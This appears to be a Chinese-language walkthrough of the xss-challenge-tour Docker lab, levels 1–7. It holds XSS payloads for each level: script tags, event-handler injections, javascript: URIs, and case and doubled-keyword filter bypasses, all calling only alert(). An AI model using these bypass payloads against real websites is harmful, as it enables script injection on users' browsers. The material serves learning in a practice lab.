xss-challenge-tour
Table of Contents
用docker拉取xss靶机
docker search xss(查询以下xss的镜像)
docker pull c0ny1/xss-challenge-tour(拉取)
容器映射端口
docker run -it -d -p "2333:80" c0ny1/xss-challenge-tour
level1
http://192.168.70.138:2333/level1.php?name=<script>alert(123)</script>
level2
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号)成为 &
” (双引号)成为 "
‘ (单引号)成为 ‘
< (⼩于)成为 <
>(⼤于)成为 >
补充知识:js注释符
在js中⼀共有三种注释⽅式
多⾏注释
单⾏注释
" onmouseover=alert(1)>
" onclick=alert(1)>
/*
hacked by crow
*/
//
<!- 这种注释不是很常⻅,容易和html的注释混淆
http://192.168.70.138:2333/level2.php?keyword="><script>alert(123)</script>
level3
方法一
' onclick=alert(1) //
' onclick=alert(1) /* */
' onclick=alert(1) <!-
方法二
payload1
' onmouseover=alert(1) '
payload2
' onclick= alert(1) '
level4
" onclick=alert(1) "
" onclick=alert(1) //
" onclick=alert(1) <!-
" onclick=alert(1) /* */
" onmouseover=alert(1) "
" onmouseover=alert(1) //
" onmouseover=alert(1) <!-
" onmouseover=alert(1) /* */
strtolower()函数把所有字符转换为⼩写
level5
" ><a href="javascript:alert(1)"> 然后点击超链接
"><iframe src=javascript:alert(1)> 这个直接触发
level6
" ><a hrEf="javascript:alert(1)">
"><iframe Src=javascript:alert(1)>
level7
" ><a hhrEfref="javascscriptript:alert(1)">
"><iframe Ssrcrc=javasscriptcript:alert(1)>